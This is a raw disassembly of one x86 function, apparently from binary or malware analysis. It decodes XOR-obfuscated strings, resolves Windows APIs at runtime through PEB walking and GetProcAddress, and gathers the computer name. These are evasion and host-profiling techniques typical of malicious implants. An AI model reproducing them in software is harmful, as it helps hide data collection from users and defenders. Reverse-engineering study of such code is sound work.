Function at 0x1000526d
Capabilities:
Encode data using xor

Disassembly:
push ebp
sub esp, 0x50
mov eax, 0x1002dbaa
call fcn.1002d4f8
sub esp, 0x2bc
push ebx
push esi
push edi
mov esi, ecx
xor ebx, ebx
lea ecx, [ebp - 0xc8]
mov dword [ebp - 4], ebx
call fcn.10003150
push esi
sub esp, 0x18
mov byte [ebp - 4], 1
lea eax, [ebp + 0x5c]
mov ecx, esp
push eax
call fcn.100089fa
lea ecx, [ebp - 0xc8]
call fcn.1000321f
test al, al
je 0x1000577a
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x1c], ebx
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0xc8]
call fcn.10003920
test al, al
je 0x10005765
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x18]
sub eax, edx
mov ecx, dword [ebp - 0x1c]
cmp eax, ecx
jbe 0x1000579f
mov bl, byte [edx + ecx]
inc ecx
mov byte [ebp + 0x53], bl
mov dword [ebp - 0x1c], ecx
cmp eax, ecx
jbe 0x1000579f
mov al, byte [edx + ecx]
xor ebx, ebx
mov byte [ebp - 0x24], al
lea eax, [ecx + 1]
mov dword [ebp - 0x1c], eax
mov dword [ebp + 4], ebx
mov dword [ebp + 8], ebx
mov dword [ebp + 0xc], ebx
mov dword [ebp], ebx
mov byte [ebp - 4], 3
mov eax, ebx
push 0xffffffffffffff97
pop ecx
mov byte [ebp + 0x1c], cl
mov dword [ebp + 0x20], 6
mov dword [ebp + 0x24], 0xf8e5e5f2
mov byte [ebp + 0x28], 0xe5
mov byte [ebp + 0x29], cl
xor byte [ebp + eax + 0x24], cl
inc eax
cmp eax, dword [ebp + 0x20]
jae 0x10005352
mov cl, byte [ebp + 0x1c]
jmp 0x10005343
lea eax, [ebp + 0x24]
push eax
lea ecx, [ebp - 0x9c]
call fcn.1000899b
mov byte [ebp - 4], 4
mov edi, 0x508f64dc
movaps xmm0, xmmword [0x10037370]
mov eax, edi
mov dword [ebp - 0x20], ebx
mov ecx, ebx
mov dword [ebp + 0x2c], eax
mov dword [ebp + 0x30], 5
mov dword [ebp + 0x34], ebx
movups xmmword [ebp + 0x38], xmm0
mov dword [ebp + 0x48], 0x66a3eb58
xor dword [ebp + ecx*4 + 0x38], eax
inc ecx
cmp ecx, dword [ebp + 0x30]
jae 0x1000539f
mov eax, dword [ebp + 0x2c]
jmp 0x10005390
mov eax, dword [ebp + 0x34]
mov esi, 0x611ec9b9
mov ecx, ebx
mov eax, dword [ebp + eax*4 + 0x38]
mov edx, dword fs:[eax]
mov eax, esi
mov dword [ebp + 0x38], eax
mov dword [ebp + 0x3c], 2
mov dword [ebp + 0x40], ebx
mov dword [ebp + 0x44], 0x611ec989
mov dword [ebp + 0x48], 0x66a3eb58
xor dword [ebp + ecx*4 + 0x44], eax
inc ecx
cmp ecx, dword [ebp + 0x3c]
jae 0x100053dc
mov eax, dword [ebp + 0x38]
jmp 0x100053cd
mov eax, dword [ebp + 0x40]
mov byte [ebp + 0x4c], 0
push dword [ebp + 0x4c]
mov byte [ebp - 0x84], 0xe2
mov eax, dword [ebp + eax*4 + 0x44]
push ecx
lea ecx, [ebp - 0x84]
mov dword [ebp - 0x80], 0x16
mov eax, dword [eax + edx]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
mov eax, dword [eax]
mov eax, dword [eax]
mov ebx, dword [eax + 0x10]
lea eax, [ebp - 0x7c]
push eax
call fcn.100069b9
xor ecx, ecx
cmp dword [ebp - 0x80], ecx
jbe 0x1000542f
mov al, byte [ebp - 0x84]
xor byte [ebp + ecx - 0x7c], al
inc ecx
cmp ecx, dword [ebp - 0x80]
jb 0x1000541f
lea eax, [ebp - 0x7c]
push eax
lea ecx, [ebp - 0x40]
call fcn.1000899b
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 5
and dword [ebp - 0x64], 0
lea ecx, [ebp - 0x5c]
push eax
mov dword [ebp - 0x60], ebx
call fcn.100089fa
lea ecx, [ebp - 0x40]
call fcn.10009377
mov byte [ebp - 4], 6
xor ebx, ebx
push 0x2e
pop ecx
mov byte [ebp + 0x1c], cl
mov eax, ebx
mov dword [ebp + 0x20], 5
mov dword [ebp + 0x24], 0x101146d
mov byte [ebp + 0x28], cl
xor byte [ebp + eax + 0x24], cl
inc eax
cmp eax, dword [ebp + 0x20]
jae 0x10005488
mov cl, byte [ebp + 0x1c]
jmp 0x10005479
cmp dword [ebp - 0x48], 0x10
lea eax, [ebp - 0x5c]
cmovae eax, dword [ebp - 0x5c]
push eax
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x64], eax
push ecx
push ebx
push ebx
lea ecx, [ebp + 0x24]
push ecx
call eax
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 4
mov bl, al
call fcn.10009377
test bl, bl
je 0x100054e1
mov edx, dword [ebp - 0x20]
lea ecx, [ebp - 0x40]
call fcn.10002fc6
push eax
lea ecx, [ebp - 0x9c]
call fcn.10008931
lea ecx, [ebp - 0x40]
call fcn.10009377
lea eax, [ebp - 0x9c]
push eax
lea ecx, [ebp + 0x34]
call fcn.100089fa
mov byte [ebp - 4], 7
lea eax, [ebp + 0x34]
cmp dword [ebp + 0x48], 0x10
lea ecx, [ebp]
push dword [ebp + 0x44]
cmovae eax, dword [ebp + 0x34]
push eax
call fcn.100030b5
lea ecx, [ebp + 0x34]
mov byte [ebp - 4], 4
call fcn.10009377
movaps xmm0, xmmword [0x10037370]
xor ebx, ebx
mov edx, 0x66a3eb58
mov dword [ebp - 0x28], pe_nt_image_headers32
mov dword [ebp + 0x2c], edi
mov eax, ebx
mov dword [ebp + 0x30], 5
mov dword [ebp + 0x34], ebx
movups xmmword [ebp + 0x38], xmm0
mov dword [ebp + 0x48], edx
xor dword [ebp + eax*4 + 0x38], edi
inc eax
cmp eax, dword [ebp + 0x30]
jae 0x10005551
mov edi, dword [ebp + 0x2c]
jmp 0x10005542
mov eax, dword [ebp + 0x34]
mov eax, dword [ebp + eax*4 + 0x38]
mov ecx, dword fs:[eax]
mov eax, ebx
mov dword [ebp + 0x38], esi
mov dword [ebp + 0x3c], 2
mov dword [ebp + 0x40], ebx
mov dword [ebp + 0x44], 0x611ec989
mov dword [ebp + 0x48], edx
xor dword [ebp + eax*4 + 0x44], esi
inc eax
cmp eax, dword [ebp + 0x3c]
jae 0x10005583
mov esi, dword [ebp + 0x38]
jmp 0x10005574
mov eax, dword [ebp + 0x40]
mov byte [ebp + 0x4c], bl
push dword [ebp + 0x4c]
mov byte [ebp + 0x10], 0x79
mov eax, dword [ebp + eax*4 + 0x44]
push str.GetComputerNameW
mov dword [ebp + 0x14], 0x11
mov eax, dword [eax + ecx]
lea ecx, [ebp + 0x10]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
mov eax, dword [eax]
mov eax, dword [eax]
mov esi, dword [eax + 0x10]
lea eax, [ebp + 0x18]
push eax
call fcn.10007d3e
mov ecx, ebx
cmp dword [ebp + 0x14], ecx
jbe 0x100055d0
mov al, byte [ebp + 0x10]
xor byte [ebp + ecx + 0x18], al
inc ecx
cmp ecx, dword [ebp + 0x14]
jb 0x100055c3
lea eax, [ebp + 0x18]
push eax
lea ecx, [ebp - 0x40]
call fcn.1000899b
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 8
push eax
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], esi
call fcn.100089fa
lea ecx, [ebp - 0x40]
call fcn.10009377
mov byte [ebp - 4], 9
lea eax, [ebp - 0x5c]
cmp dword [ebp - 0x48], 0x10
cmovae eax, dword [ebp - 0x5c]
push eax
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x64], eax
push ecx
lea ecx, [ebp - 0x2c8]
push ecx
call eax
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 4
call fcn.10009377
sub esp, 0x18
lea eax, [ebp - 0x2c8]
mov ecx, esp
push eax
call fcn.100087e2
lea ecx, [ebp]
call fcn.10003114
movaps xmm0, xmmword [0x10037390]
mov eax, ebx
push 0xffffffffffffffc4
pop ecx
mov byte [ebp - 0x44], cl
mov dword [ebp - 0x40], 0x13
movups xmmword [ebp - 0x3c], xmm0
mov word [ebp - 0x2c], 0xaaab
mov byte [ebp - 0x2a], cl
xor byte [ebp + eax - 0x3c], cl
inc eax
cmp eax, dword [ebp - 0x40]
jae 0x1000567a
mov cl, byte [ebp - 0x44]
jmp 0x1000566b
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp + 0x34]
call fcn.1000899b
mov byte [ebp - 4], 0xa
lea eax, [ebp + 0x34]
cmp dword [ebp + 0x48], 0x10
lea ecx, [ebp]
push dword [ebp + 0x44]
cmovae eax, dword [ebp + 0x34]
push eax
call fcn.100030b5
lea ecx, [ebp + 0x34]
mov byte [ebp - 4], 4
call fcn.10009377
mov ecx, dword [ebp + 0xc]
mov esi, ebx
mov eax, dword [ebp + 8]
mov dword [ebp + 0x4c], 1
mov dl, byte [ebp + esi + 0x4c]
mov byte [ebp + 0x52], dl
cmp eax, ecx
je 0x100056cf
mov byte [eax], dl
inc eax
mov dword [ebp + 8], eax
jmp 0x100056e2
lea ecx, [ebp + 0x52]
push ecx
push eax
lea ecx, [ebp + 4]
call fcn.1000c596
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
inc esi
cmp esi, 4
jb 0x100056bc
mov bl, byte [ebp + 0x53]
test bl, bl
je 0x1000570d
mov byte [ebp + 0x53], 0
cmp eax, ecx
je 0x10005700
mov byte [eax], 0
inc eax
mov dword [ebp + 8], eax
jmp 0x1000570d
lea ecx, [ebp + 0x53]
push ecx
push eax
lea ecx, [ebp + 4]
call fcn.1000c596
cmp byte [ebp - 0x24], 0
je 0x10005725
sub esp, 0x18
mov ecx, esp
call fcn.100047f1
lea ecx, [ebp]
call fcn.10003114
lea eax, [ebp + 4]
push eax
lea ecx, [ebp - 0xc8]
call fcn.10003857
push dword [ebp - 0x24]
mov dl, bl
lea ecx, [ebp - 0xc8]
call fcn.10004abe
pop ecx
lea ecx, [ebp - 0x9c]
call fcn.10009377
mov ecx, dword [ebp + 4]
test ecx, ecx
je 0x10005765
mov eax, dword [ebp + 0xc]
sub eax, ecx
push eax
push ecx
call fcn.1000a5a0
pop ecx
pop ecx
mov ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x1000577a
mov eax, dword [ebp - 0x10]
sub eax, ecx
push eax
push ecx
call fcn.1000a5a0
pop ecx
pop ecx
lea ecx, [ebp - 0xc8]
call fcn.100057a5
lea ecx, [ebp + 0x5c]
call fcn.10009377
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
add ebp, 0x54
leave
ret
call fcn.10008e19
int3